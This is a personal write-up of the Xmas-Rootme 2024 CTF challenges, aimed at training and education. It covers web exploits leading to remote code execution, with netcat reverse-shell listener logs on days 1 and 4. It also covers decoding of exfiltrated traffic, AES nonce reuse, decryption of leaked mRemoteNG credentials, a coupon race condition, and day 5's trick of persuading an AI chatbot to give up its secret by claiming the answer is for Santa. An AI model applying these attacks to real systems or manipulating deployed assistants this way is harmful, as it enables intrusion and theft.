Xmas-Rootme 2024 Writeups
The Xmas-Rootme CTF took place during the month of December. A new challenge was released everyday. You will find below the challenges I completed during this month 😉
Day 01 - Generous Santa
When browsing the website, we see that it’s possible to add a gift to the gift list or suggest a new one.
The following code describes the API call used to add a gift. We notice that the product name is directly used in the path to load some JS.
router.post('/add', async (req, res) => {
const { product } = req.body;
try {
const Gift = require(`../models/${product.toLowerCase()}`);
const gift = new Gift({ name: product, description: `Description of ${product}` });
output = gift.store();
res.json({ success: true, output: output });
} catch (error) {
res.status(500).json({ message: `Error adding the product ${product}. ${error.message}` });
}
});
So if we can upload a file containing JS, we will get an RCE.
Fortunately for us, the suggest feature is vulnerable 😉
Now, we can load our malicious JS file to get our remote code execution and read the flag 🏴☠️
ubuntu@ip-X-X-X-X:~$ nc -lvp 4000
Listening on 0.0.0.0 4000
Connection received on XYXY 44513
ls /
bin
dev
etc
flag.txt
home
[...]
cat /flag.txt
The flag is :
RM{Mayb3_S4nt4_Cl4uS_Als0_G3t_A_Flag}
Day 02 - Wrapped Packet
This challenge involves finding exfiltrated data from a network capture.
After opening it in Wireshark, only one private IP address appears : 10.0.2.15.
When looking at the ICMP packets, we discover that data section contains a lot of decimal values.
With tshark, we can quickly get all the data values.
$ tshark -r chall.pcapng -T fields -e data -Y "ip.src == 10.0.2.15 && ip.dst == 212.129.38.224 && icmp"
5b2d02000000000034353732373236663732336132303730343537323732366637323361323037303435373237323666
026601000000000036393665363733613230363936653736363936653637336132303639366537363639366536373361
08080c000000000036313663363936343230363137323637363136633639363432303631373236373631366336393634
9d3a0f000000000037353664363536653734336132303237373536643635366537343361323032373735366436353665
[...]
113903000000000034643333376430610000000000000000346433333764306100000000000000003464333337643061
The trick was to decode it twice.
With a quick analysis of the decoded text, we found the flag 🏴☠️ : RM{M3rry_Chr1stM4s_R00T-M3}
Day 03 - Santa’s Magic Sack
The aim of this challenge is to play a game and defeat Santa !
Firstly, when ending the game we intercept an API call on /api/scores.
We notice the request content is encrypted and we can’t directly change our score.
Through source code inspection, we can locate where the API call is made.
In the screenshot above, we see the function Vd(e,t) where e is our username and t our score.
After setting a breakpoint, we call this function with a higher score and obtain the flag 🏴☠️
Day 04 - Build And Drustroy
Here, the goal is to exploit a kind of remote Rust compiler.
By reading the Rust documentation, we find that we can execute code at the compile time using build.rs.
https://doc.rust-lang.org/cargo/reference/build-scripts.html
Placing a file named build.rs in the root of a package will cause Cargo to compile that script and execute it just before building the package.
So we can get a reverse shell by making the following API call :
And then, we get the flag ! 🏴☠️
ubuntu@ip-X-X-X-X:/tmp$ nc -lvp 4100
Listening on 0.0.0.0 4100
Connection received on XXX 54754
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@2a4f07b51343:/tmp/.tmpyGEbQf# ls /
ls /
app
bin
boot
dev
etc
flag
[...]
root@2a4f07b51343:/tmp/.tmpyGEbQf# ls /flag
ls /flag
randomflaglolilolbigbisous.txt
root@2a4f07b51343:/tmp/.tmpyGEbQf# cat /flag/randomflaglolilolbigbisous.txt
cat /flag/randomflaglolilolbigbisous.txt
OffenSkillSaysHi2024RustAbuse
Day 05 - The Friendly Snowman
This AI challenge involves talking with Santa’s assistant.
After asking for some secrets, the bot says that he will only share its secret to Santa.
So, to get the flag we must tell him that this information is for Santa ! 🏴☠️
Day 06 - Unwrap The Gift
For this challenge, we have a program that generates a ciphertext that we need to decrypt. We can also input text and heve it encrypted by the program.
$ nc 163.172.68.42 10006
--------------------------------------------------
.-""-.
/,..___\
() {_____}
(/-@-@-\)
{`-=^=-'}
{ `-' } Oh Oh Oh! Merry Root-Xmas to you!
{ }
`---'
--------------------------------------------------
[SANTA]: Hello player, welcome! Here is your gift for this christmas: 01b19ab5395355e52bc098b66bee5f8306b6e19a4d3350c310bb8fe66ac458f3a3190ad2097806a319d5a5709c3bc086f6d909050090730ad46e68e3137a9f2c
[SANTA]: Oh, I forgot to tell you, you will only be able to unwrap it on the 25th, come back to me on that date to get the key!
--------------------------------------------------
[SANTA]: While I'm at it, do you wish to wrap a present for someone? (Y/N)
Y
[SANTA]: Enter the message you wish to wrap:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[SANTA]: Here is your wrapped present: 329d8090687c60db1df3cd8755d671b73588c7b26a0662fd26ebbacf54f20ad3892728e13149338d3fe68541b5039bcfeab7676b6efe1d64ba00068d7d149221
[SANTA]: Merry Christmas!
By analyzing the source code below and documentation, we find that AES CTR mode is used.
def wrap(self, data):
"""
Wrap the data with strong AES encryption
"""
cipher = AES.new(self.key, 6, nonce=self.iv)
data = data.encode()
return hexlify(cipher.encrypt(pad(data, 16))).decode()
def unwrap(self, data):
"""
Unwrap the data
"""
cipher = AES.new(self.key, 6, nonce=self.iv)
return cipher.decrypt(bytes.fromhex(data)).decode()
After some research, the implementation in the script is found to be vulnerable due to nonce reuse.
This writeup explains it very well and demonstrates how to exploit it : (https://ctftime.org/writeup/35876)
Ciphertext1 = flag ⊕ AES(Key, Nonce)
Ciphertext2 = input ⊕ AES(Key, Nonce)
AES(Key, Nonce) = flag ⊕ Ciphertext1
AES(Key, Nonce) = input ⊕ Ciphertext2
flag ⊕ Ciphertext1 = input ⊕ Ciphertext2
flag = input ⊕ Ciphertext2 ⊕ Ciphertext1
To get the flag, we must xor the first cyphertext given by the script with our input and xored input. 🏴☠️
Day 09 - The Christmas Thief
For this challenge, we have a network capture and lot of exfiltrated files.
After searching for xml content, we quicly find the following uploaded file :
It seems to contain senstive information related to the infrastructure, as mentioned in the challenge description.
To decode it, we can use this script on github : https://github.com/gquere/mRemoteNG_password_decrypt
$ ./mremoteng_decrypt.py data.xml
Name: root-me prod
Hostname: 10.0.16.100
Username: root
Password: grosbisous
Name: root-me challenges
Hostname: 10.0.12.98
Username: challenges
Password: letsgrabflags
Name: root-me v2
Hostname: 10.1.13.37
Username: nishacid
Password: RM{R3m0t3_cLi3Nt_4r3_n0t_S0_s3cur3}
TADADA ! We get the flag 🏴☠️
Day 10 - Route-Mi Shop
When going on the website, we find a shop on which we can buy some root-me items.
Visting the account section shows that we have a balance of 0€ and a 5€ coupon that is available for use.
The following code shows the API endpoint to use our coupon.
@app.route('/discount', methods=['POST'])
@login_required
def discount():
user = User.query.get(session['user_id'])
coupon_code = request.form.get('coupon_code')
coupon = Coupon.query.filter_by(user_id=user.id, code=coupon_code).first()
balance = int(user.balance)
if coupon:
if not coupon.used:
balance += 5.0
user.balance = balance
db.session.commit()
anti_bruteforce(2)
coupon.used = True
user.can_use_coupon = False
db.session.commit()
flash("Your account has been credited with 5€ !")
else:
flash("This coupon has already been used.")
else:
flash("This coupon is invalid or does not belong to you.")
return redirect(url_for('account'))
We can notice the anti_bruteforce function (a simple sleep) in this code.
It is called righ after incrementing the user balance and before invalidating the coupon. This means the coupon can be used many times within this time frame.
By intercepting the request in burp and replaying it multiple times, we successfully gather enough money to purchase the flag ! 🏴☠️